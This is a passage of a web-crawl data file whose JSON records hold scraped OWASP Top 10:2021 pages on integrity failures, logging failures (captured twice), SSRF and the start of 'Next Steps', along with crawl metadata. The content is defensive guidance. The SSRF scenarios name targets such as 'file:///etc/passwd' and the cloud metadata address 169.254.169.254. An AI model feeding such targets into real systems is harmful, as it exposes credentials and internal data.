"https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/A08_2021-Software_and_Data_Integrity_Failures/", "titulek": "A08 Software and Data Integrity Failures - OWASP Top 10:2021", "h1": "A08:2021 – Software and Data Integrity Failures", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/A08_2021-Software_and_Data_Integrity_Failures/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A08:2021 – Software and Data Integrity Failures"}, {"uroven": 2, "text": "Factors"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A08:2021 – Software and Data Integrity Failures\n\n## Factors\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 10 | 16.67% | 2.05% | 6.94 | 7.94 | 75.04% | 45.35% | 47,972 | 1,152 |\n\n## Overview\n\nA new category for 2021 focuses on making assumptions related to\nsoftware updates, critical data, and CI/CD pipelines without verifying\nintegrity. One of the highest weighted impacts from \nCommon Vulnerability and Exposures/Common Vulnerability Scoring System (CVE/CVSS) \ndata. Notable Common Weakness Enumerations (CWEs) include\n*CWE-829: Inclusion of Functionality from Untrusted Control Sphere*,\n*CWE-494: Download of Code Without Integrity Check*, and \n*CWE-502: Deserialization of Untrusted Data*.\n\n## Description\n\nSoftware and data integrity failures relate to code and infrastructure\nthat does not protect against integrity violations. An example of this is where an application relies upon plugins, libraries, or modules from untrusted sources, repositories, and content\ndelivery networks (CDNs). An insecure CI/CD pipeline can introduce the\npotential for unauthorized access, malicious code, or system compromise.\nLastly, many applications now include auto-update functionality, where\nupdates are downloaded without sufficient integrity verification and\napplied to the previously trusted application. Attackers could\npotentially upload their own updates to be distributed and run on all\ninstallations. Another example is where\nobjects or data are encoded or serialized into a structure that an\nattacker can see and modify is vulnerable to insecure deserialization.\n\n## How to Prevent\n\n- Use digital signatures or similar mechanisms to verify the software or data is from the expected source and has not been altered.\n- Ensure libraries and dependencies, such as npm or Maven, are\n consuming trusted repositories. If you have a higher risk profile, consider hosting an internal known-good repository that's vetted.\n- Ensure that a software supply chain security tool, such as OWASP\n Dependency Check or OWASP CycloneDX, is used to verify that\n components do not contain known vulnerabilities\n- Ensure that there is a review process for code and configuration changes to minimize the chance that malicious code or configuration could be introduced into your software pipeline.\n- Ensure that your CI/CD pipeline has proper segregation, configuration, and access\n control to ensure the integrity of the code flowing through the\n build and deploy processes.\n- Ensure that unsigned or unencrypted serialized data is not sent to\n untrusted clients without some form of integrity check or digital\n signature to detect tampering or replay of the serialized data\n\n## Example Attack Scenarios\n\n**Scenario #1 Update without signing:** Many home routers, set-top\nboxes, device firmware, and others do not verify updates via signed\nfirmware. Unsigned firmware is a growing target for attackers and is\nexpected to only get worse. This is a major concern as many times there\nis no mechanism to remediate other than to fix in a future version and\nwait for previous versions to age out.\n\n**Scenario #2 SolarWinds malicious update**: Nation-states have been\nknown to attack update mechanisms, with a recent notable attack being\nthe SolarWinds Orion attack. The company that develops the software had\nsecure build and update integrity processes. Still, these were able to\nbe subverted, and for several months, the firm distributed a highly\ntargeted malicious update to more than 18,000 organizations, of which\naround 100 or so were affected. This is one of the most far-reaching and\nmost significant breaches of this nature in history.\n\n**Scenario #3 Insecure Deserialization:** A React application calls a\nset of Spring Boot microservices. Being functional programmers, they\ntried to ensure that their code is immutable. The solution they came up\nwith is serializing the user state and passing it back and forth with\neach request. An attacker notices the \"rO0\" Java object signature (in base64) and\nuses the Java Serial Killer tool to gain remote code execution on the\napplication server.\n\n## References\n\n- [OWASP Cheat Sheet: Software Supply Chain Security](Coming Soon)\n- [OWASP Cheat Sheet: Secure build and deployment](Coming Soon)\n- [OWASP Cheat Sheet: Infrastructure as Code](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Deserialization](https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet)\n- [SAFECode Software Integrity Controls](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)\n- [A 'Worst Nightmare' Cyberattack: The Untold Story Of The\n SolarWinds\n Hack](https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack)\n- [CodeCov Bash Uploader Compromise](https://about.codecov.io/security-update)\n- [Securing DevOps by Julien Vehent](https://www.manning.com/books/securing-devops)\n\n## List of Mapped CWEs\n\n[CWE-345 Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)\n\n[CWE-353 Missing Support for Integrity Check](https://cwe.mitre.org/data/definitions/353.html)\n\n[CWE-426 Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)\n\n[CWE-494 Download of Code Without Integrity Check](https://cwe.mitre.org/data/definitions/494.html)\n\n[CWE-502 Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n\n[CWE-565 Reliance on Cookies without Validation and Integrity Checking](https://cwe.mitre.org/data/definitions/565.html)\n\n[CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision](https://cwe.mitre.org/data/definitions/784.html)\n\n[CWE-829 Inclusion of Functionality from Untrusted Control Sphere](https://cwe.mitre.org/data/definitions/829.html)\n\n[CWE-830 Inclusion of Web Functionality from an Untrusted Source](https://cwe.mitre.org/data/definitions/830.html)\n\n[CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)", "znaku_textu": 6104, "slov": 779, "odkazu": 55, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:00", "sha256": "a93f1c1572f41faa1e7a5417483a833ff5885cc823d67f84aac4df48af14e1f7", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html", "https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet", "https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf", "https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack", "https://about.codecov.io/security-update", "https://www.manning.com/books/securing-devops", "https://cwe.mitre.org/data/definitions/345.html", "https://cwe.mitre.org/data/definitions/353.html", "https://cwe.mitre.org/data/definitions/426.html", "https://cwe.mitre.org/data/definitions/494.html", "https://cwe.mitre.org/data/definitions/502.html", "https://cwe.mitre.org/data/definitions/565.html", "https://cwe.mitre.org/data/definitions/784.html", "https://cwe.mitre.org/data/definitions/829.html", "https://cwe.mitre.org/data/definitions/830.html", "https://cwe.mitre.org/data/definitions/915.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/A09_2021-Security_Logging_and_Monitoring_Failures/", "titulek": "A09 Security Logging and Monitoring Failures - OWASP Top 10:2021", "h1": "A09:2021 – Security Logging and Monitoring Failures", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/A09_2021-Security_Logging_and_Monitoring_Failures/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A09:2021 – Security Logging and Monitoring Failures"}, {"uroven": 2, "text": "Factors"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A09:2021 – Security Logging and Monitoring Failures\n\n## Factors\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 4 | 19.23% | 6.51% | 6.87 | 4.99 | 53.67% | 39.97% | 53,615 | 242 |\n\n## Overview\n\nSecurity logging and monitoring came from the Top 10 community survey (#3), up\nslightly from the tenth position in the OWASP Top 10 2017. Logging and\nmonitoring can be challenging to test, often involving interviews or\nasking if attacks were detected during a penetration test. There isn't\nmuch CVE/CVSS data for this category, but detecting and responding to\nbreaches is critical. Still, it can be very impactful for accountability, visibility,\nincident alerting, and forensics. This category expands beyond *CWE-778\nInsufficient Logging* to include *CWE-117 Improper Output Neutralization\nfor Logs*, *CWE-223 Omission of Security-relevant Information*, and\n*CWE-532* *Insertion of Sensitive Information into Log File*.\n\n## Description\n\nReturning to the OWASP Top 10 2021, this category is to help detect,\nescalate, and respond to active breaches. Without logging and\nmonitoring, breaches cannot be detected. Insufficient logging,\ndetection, monitoring, and active response occurs any time:\n\n- Auditable events, such as logins, failed logins, and high-value\n transactions, are not logged.\n- Warnings and errors generate no, inadequate, or unclear log\n messages.\n- Logs of applications and APIs are not monitored for suspicious\n activity.\n- Logs are only stored locally.\n- Appropriate alerting thresholds and response escalation processes\n are not in place or effective.\n- Penetration testing and scans by dynamic application security testing (DAST) tools (such as OWASP ZAP) do\n not trigger alerts.\n- The application cannot detect, escalate, or alert for active attacks\n in real-time or near real-time.\n- You are vulnerable to information leakage by making logging and alerting\nevents visible to a user or an attacker (see [A01:2021-Broken Access Control](../A01_2021-Broken_Access_Control/)).\n- You are vulnerable to injections or\n attacks on the logging or monitoring systems if log data is not correctly encoded.\n\n## How to Prevent\n\nDevelopers should implement some or all the following controls, \ndepending on the risk of the application:\n\n- Ensure all login, access control, and server-side input validation\n failures can be logged with sufficient user context to identify\n suspicious or malicious accounts and held for enough time to allow\n delayed forensic analysis.\n- Ensure that logs are generated in a format that log management\n solutions can easily consume.\n- Ensure log data is encoded correctly to prevent injections or\n attacks on the logging or monitoring systems.\n- Ensure high-value transactions have an audit trail with integrity\n controls to prevent tampering or deletion, such as append-only\n database tables or similar.\n- DevSecOps teams should establish effective monitoring and alerting\n such that suspicious activities are detected and responded to\n quickly.\n- Establish or adopt an incident response and recovery plan, such as\n National Institute of Standards and Technology (NIST) 800-61r2 or later.\n\nThere are commercial and open-source application protection frameworks\nsuch as the OWASP ModSecurity Core Rule Set, and open-source log\ncorrelation software, such as the Elasticsearch, Logstash, Kibana (ELK)\nstack, that feature custom dashboards and alerting.\n\n## Example Attack Scenarios\n\n**Scenario #1:** A children's health plan provider's website operator\ncouldn't detect a breach due to a lack of monitoring and logging. An\nexternal party informed the health plan provider that an attacker had\naccessed and modified thousands of sensitive health records of more than\n3.5 million children. A post-incident review found that the website\ndevelopers had not addressed significant vulnerabilities. As there was\nno logging or monitoring of the system, the data breach could have been\nin progress since 2013, a period of more than seven years.\n\n**Scenario #2:** A major Indian airline had a data breach involving more\nthan ten years' worth of personal data of millions of passengers,\nincluding passport and credit card data. The data breach occurred at a\nthird-party cloud hosting provider, who notified the airline of the\nbreach after some time.\n\n**Scenario #3:** A major European airline suffered a GDPR reportable\nbreach. The breach was reportedly caused by payment application security\nvulnerabilities exploited by attackers, who harvested more than 400,000\ncustomer payment records. The airline was fined 20 million pounds as a\nresult by the privacy regulator.\n\n## References\n\n- [OWASP Proactive Controls: Implement Logging and\n Monitoring](https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/)\n- [OWASP Application Security Verification Standard: V7 Logging and\n Monitoring](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Testing Guide: Testing for Detailed Error\n Code](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_for_Error_Code)\n- [OWASP Cheat Sheet:\n Application Logging Vocabulary](https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html)\n- [OWASP Cheat Sheet:\n Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [Data Integrity: Recovering from Ransomware and Other Destructive\n Events](https://csrc.nist.gov/publications/detail/sp/1800-11/final)\n- [Data Integrity: Identifying and Protecting Assets Against\n Ransomware and Other Destructive\n Events](https://csrc.nist.gov/publications/detail/sp/1800-25/final)\n- [Data Integrity: Detecting and Responding to Ransomware and Other\n Destructive\n Events](https://csrc.nist.gov/publications/detail/sp/1800-26/final)\n\n## List of Mapped CWEs\n\n[CWE-117 Improper Output Neutralization for Logs](https://cwe.mitre.org/data/definitions/117.html)\n\n[CWE-223 Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)\n\n[CWE-532 Insertion of Sensitive Information into Log File](https://cwe.mitre.org/data/definitions/532.html)\n\n[CWE-778 Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 6261, "slov": 817, "odkazu": 51, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:01", "sha256": "150bab420e6e131c9c0404fc07c721f684078f3e67ed9ea2ac66b71632112728", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/", "https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://csrc.nist.gov/publications/detail/sp/1800-11/final", "https://csrc.nist.gov/publications/detail/sp/1800-25/final", "https://csrc.nist.gov/publications/detail/sp/1800-26/final", "https://cwe.mitre.org/data/definitions/117.html", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/532.html", "https://cwe.mitre.org/data/definitions/778.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/A09_2021-Security_Logging_and_Monitoring_Failures/index.html", "titulek": "A09 Security Logging and Monitoring Failures - OWASP Top 10:2021", "h1": "A09:2021 – Security Logging and Monitoring Failures", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/A09_2021-Security_Logging_and_Monitoring_Failures/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A09:2021 – Security Logging and Monitoring Failures"}, {"uroven": 2, "text": "Factors"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A09:2021 – Security Logging and Monitoring Failures\n\n## Factors\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 4 | 19.23% | 6.51% | 6.87 | 4.99 | 53.67% | 39.97% | 53,615 | 242 |\n\n## Overview\n\nSecurity logging and monitoring came from the Top 10 community survey (#3), up\nslightly from the tenth position in the OWASP Top 10 2017. Logging and\nmonitoring can be challenging to test, often involving interviews or\nasking if attacks were detected during a penetration test. There isn't\nmuch CVE/CVSS data for this category, but detecting and responding to\nbreaches is critical. Still, it can be very impactful for accountability, visibility,\nincident alerting, and forensics. This category expands beyond *CWE-778\nInsufficient Logging* to include *CWE-117 Improper Output Neutralization\nfor Logs*, *CWE-223 Omission of Security-relevant Information*, and\n*CWE-532* *Insertion of Sensitive Information into Log File*.\n\n## Description\n\nReturning to the OWASP Top 10 2021, this category is to help detect,\nescalate, and respond to active breaches. Without logging and\nmonitoring, breaches cannot be detected. Insufficient logging,\ndetection, monitoring, and active response occurs any time:\n\n- Auditable events, such as logins, failed logins, and high-value\n transactions, are not logged.\n- Warnings and errors generate no, inadequate, or unclear log\n messages.\n- Logs of applications and APIs are not monitored for suspicious\n activity.\n- Logs are only stored locally.\n- Appropriate alerting thresholds and response escalation processes\n are not in place or effective.\n- Penetration testing and scans by dynamic application security testing (DAST) tools (such as OWASP ZAP) do\n not trigger alerts.\n- The application cannot detect, escalate, or alert for active attacks\n in real-time or near real-time.\n- You are vulnerable to information leakage by making logging and alerting\nevents visible to a user or an attacker (see [A01:2021-Broken Access Control](../A01_2021-Broken_Access_Control/)).\n- You are vulnerable to injections or\n attacks on the logging or monitoring systems if log data is not correctly encoded.\n\n## How to Prevent\n\nDevelopers should implement some or all the following controls, \ndepending on the risk of the application:\n\n- Ensure all login, access control, and server-side input validation\n failures can be logged with sufficient user context to identify\n suspicious or malicious accounts and held for enough time to allow\n delayed forensic analysis.\n- Ensure that logs are generated in a format that log management\n solutions can easily consume.\n- Ensure log data is encoded correctly to prevent injections or\n attacks on the logging or monitoring systems.\n- Ensure high-value transactions have an audit trail with integrity\n controls to prevent tampering or deletion, such as append-only\n database tables or similar.\n- DevSecOps teams should establish effective monitoring and alerting\n such that suspicious activities are detected and responded to\n quickly.\n- Establish or adopt an incident response and recovery plan, such as\n National Institute of Standards and Technology (NIST) 800-61r2 or later.\n\nThere are commercial and open-source application protection frameworks\nsuch as the OWASP ModSecurity Core Rule Set, and open-source log\ncorrelation software, such as the Elasticsearch, Logstash, Kibana (ELK)\nstack, that feature custom dashboards and alerting.\n\n## Example Attack Scenarios\n\n**Scenario #1:** A children's health plan provider's website operator\ncouldn't detect a breach due to a lack of monitoring and logging. An\nexternal party informed the health plan provider that an attacker had\naccessed and modified thousands of sensitive health records of more than\n3.5 million children. A post-incident review found that the website\ndevelopers had not addressed significant vulnerabilities. As there was\nno logging or monitoring of the system, the data breach could have been\nin progress since 2013, a period of more than seven years.\n\n**Scenario #2:** A major Indian airline had a data breach involving more\nthan ten years' worth of personal data of millions of passengers,\nincluding passport and credit card data. The data breach occurred at a\nthird-party cloud hosting provider, who notified the airline of the\nbreach after some time.\n\n**Scenario #3:** A major European airline suffered a GDPR reportable\nbreach. The breach was reportedly caused by payment application security\nvulnerabilities exploited by attackers, who harvested more than 400,000\ncustomer payment records. The airline was fined 20 million pounds as a\nresult by the privacy regulator.\n\n## References\n\n- [OWASP Proactive Controls: Implement Logging and\n Monitoring](https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/)\n- [OWASP Application Security Verification Standard: V7 Logging and\n Monitoring](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Testing Guide: Testing for Detailed Error\n Code](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_for_Error_Code)\n- [OWASP Cheat Sheet:\n Application Logging Vocabulary](https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html)\n- [OWASP Cheat Sheet:\n Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [Data Integrity: Recovering from Ransomware and Other Destructive\n Events](https://csrc.nist.gov/publications/detail/sp/1800-11/final)\n- [Data Integrity: Identifying and Protecting Assets Against\n Ransomware and Other Destructive\n Events](https://csrc.nist.gov/publications/detail/sp/1800-25/final)\n- [Data Integrity: Detecting and Responding to Ransomware and Other\n Destructive\n Events](https://csrc.nist.gov/publications/detail/sp/1800-26/final)\n\n## List of Mapped CWEs\n\n[CWE-117 Improper Output Neutralization for Logs](https://cwe.mitre.org/data/definitions/117.html)\n\n[CWE-223 Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)\n\n[CWE-532 Insertion of Sensitive Information into Log File](https://cwe.mitre.org/data/definitions/532.html)\n\n[CWE-778 Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 6261, "slov": 817, "odkazu": 51, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/Top10/2021/A09_2021-Security_Logging_and_Monitoring_Failures/", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 23:47:16", "sha256": "150bab420e6e131c9c0404fc07c721f684078f3e67ed9ea2ac66b71632112728", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/", "https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://csrc.nist.gov/publications/detail/sp/1800-11/final", "https://csrc.nist.gov/publications/detail/sp/1800-25/final", "https://csrc.nist.gov/publications/detail/sp/1800-26/final", "https://cwe.mitre.org/data/definitions/117.html", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/532.html", "https://cwe.mitre.org/data/definitions/778.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/A10_2021-Server-Side_Request_Forgery_(SSRF)/", "titulek": "A10 Server Side Request Forgery (SSRF) - OWASP Top 10:2021", "h1": "A10:2021 – Server-Side Request Forgery (SSRF)", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A10:2021 – Server-Side Request Forgery (SSRF)"}, {"uroven": 2, "text": "Factors"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 3, "text": "From Network layer"}, {"uroven": 3, "text": "From Application layer:"}, {"uroven": 3, "text": "Additional Measures to consider:"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A10:2021 – Server-Side Request Forgery (SSRF)\n\n## Factors\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 1 | 2.72% | 2.72% | 8.28 | 6.72 | 67.72% | 67.72% | 9,503 | 385 |\n\n## Overview\n\nThis category is added from the Top 10 community survey (#1). The data shows a\nrelatively low incidence rate with above average testing coverage and\nabove-average Exploit and Impact potential ratings. As new entries are\nlikely to be a single or small cluster of Common Weakness Enumerations (CWEs)\nfor attention and\nawareness, the hope is that they are subject to focus and can be rolled\ninto a larger category in a future edition.\n\n## Description\n\nSSRF flaws occur whenever a web application is fetching a remote\nresource without validating the user-supplied URL. It allows an attacker\nto coerce the application to send a crafted request to an unexpected\ndestination, even when protected by a firewall, VPN, or another type of\nnetwork access control list (ACL).\n\nAs modern web applications provide end-users with convenient features,\nfetching a URL becomes a common scenario. As a result, the incidence of\nSSRF is increasing. Also, the severity of SSRF is becoming higher due to\ncloud services and the complexity of architectures.\n\n## How to Prevent\n\nDevelopers can prevent SSRF by implementing some or all the following\ndefense in depth controls:\n\n### **From Network layer**\n\n- Segment remote resource access functionality in separate networks to\n reduce the impact of SSRF\n- Enforce “deny by default” firewall policies or network access\n control rules to block all but essential intranet traffic.\n *Hints:*\n \n ~ Establish an ownership and a lifecycle for firewall rules based on applications.\n\n ~ Log all accepted *and* blocked network flows on firewalls\n (see [A09:2021-Security Logging and Monitoring Failures](../A09_2021-Security_Logging_and_Monitoring_Failures/)).\n\n### **From Application layer:**\n\n- Sanitize and validate all client-supplied input data\n- Enforce the URL schema, port, and destination with a positive allow\n list\n- Do not send raw responses to clients\n- Disable HTTP redirections\n- Be aware of the URL consistency to avoid attacks such as DNS\n rebinding and “time of check, time of use” (TOCTOU) race conditions\n\nDo not mitigate SSRF via the use of a deny list or regular expression.\nAttackers have payload lists, tools, and skills to bypass deny lists.\n\n### **Additional Measures to consider:**\n\n- Don't deploy other security relevant services on front systems (e.g. OpenID). \n Control local traffic on these systems (e.g. localhost)\n- For frontends with dedicated and manageable user groups use network encryption (e.g. VPNs)\n on independent systems to consider very high protection needs\n\n## Example Attack Scenarios\n\nAttackers can use SSRF to attack systems protected behind web\napplication firewalls, firewalls, or network ACLs, using scenarios such\nas:\n\n**Scenario #1:** Port scan internal servers – If the network architecture\nis unsegmented, attackers can map out internal networks and determine if\nports are open or closed on internal servers from connection results or\nelapsed time to connect or reject SSRF payload connections.\n\n**Scenario #2:** Sensitive data exposure – Attackers can access local \nfiles or internal services to gain sensitive information such\nas `file:///etc/passwd` and `http://localhost:28017/`.\n\n**Scenario #3:** Access metadata storage of cloud services – Most cloud\nproviders have metadata storage such as `http://169.254.169.254/`. An\nattacker can read the metadata to gain sensitive information.\n\n**Scenario #4:** Compromise internal services – The attacker can abuse\ninternal services to conduct further attacks such as Remote Code\nExecution (RCE) or Denial of Service (DoS).\n\n## References\n\n- [OWASP - Server-Side Request Forgery Prevention Cheat\n Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n- [PortSwigger - Server-side request forgery\n (SSRF)](https://portswigger.net/web-security/ssrf)\n- [Acunetix - What is Server-Side Request Forgery\n (SSRF)?](https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/)\n- [SSRF\n bible](https://cheatsheetseries.owasp.org/assets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet_SSRF_Bible.pdf)\n- [A New Era of SSRF - Exploiting URL Parser in Trending Programming\n Languages!](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)\n\n## List of Mapped CWEs\n\n[CWE-918 Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)", "znaku_textu": 4610, "slov": 635, "odkazu": 48, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:03", "sha256": "b1a778b2e1457960757892106be1b1dc41c8d03b84a6869161a9fc5af10b2a9b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html", "https://portswigger.net/web-security/ssrf", "https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/", "https://cheatsheetseries.owasp.org/assets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet_SSRF_Bible.pdf", "https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf", "https://cwe.mitre.org/data/definitions/918.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/A11_2021-Next_Steps/", "titulek": "Next Steps - OWASP Top 10:2021", "h1": "A11:2021 – Next Steps", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/A11_2021-Next_Steps/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A11:2021 – Next Steps"}, {"uroven": 2, "text": "Code Quality issues"}, {"uroven": 2, "text": "Denial of Service"}, {"uroven": 2, "text": "Memory Management Errors"}], "markdown": "# A11:2021 – Next Steps\n\nBy design, the OWASP Top 10 is innately limited to the ten most\nsignificant risks. Every OWASP Top 10 has “on the cusp” risks considered\nat length for inclusion, but in the end, they didn’t make it. No matter\nhow we tried to interpret or twist the data, the other risks were more\nprevalent and impactful.\n\nOrganizations working towards a mature appsec program or security\nconsultancies or tool vendors wishing to expand coverage for their\nofferings, the following three issues are well worth the effort to\nidentify and remediate.\n\n## Code Quality issues\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 38 | 49.46% | 2.22% | 7.1 | 6.7 | 60.85% | 23.42% | 101736 | 7564 |\n\n- **Description.** Code quality issues include known security defects\n or patterns, reusing variables for multiple purposes, exposure of\n sensitive information in debugging output, off-by-one errors, time\n of check/time of use (TOCTOU) race conditions, unsigned or signed\n conversion errors, use after free, and more. The hallmark of this\n section is that they can usually be identified with stringent\n compiler flags, static code analysis tools, and linter IDE plugins.\n Modern languages by design eliminated many of these issues, such as\n Rust’s memory ownership and borrowing concept, Rust’s threading\n design, and Go’s strict typing and bounds checking.\n- **How to prevent**. Enable and use your editor and language’s static\n code analysis options. Consider using a static code analysis tool.\n Consider if it might be possible to use or migrate to a language or\n framework that eliminates bug classes, such as Rust or Go.\n- **Example attack scenarios**. An attacker might obtain or update\n sensitive information by 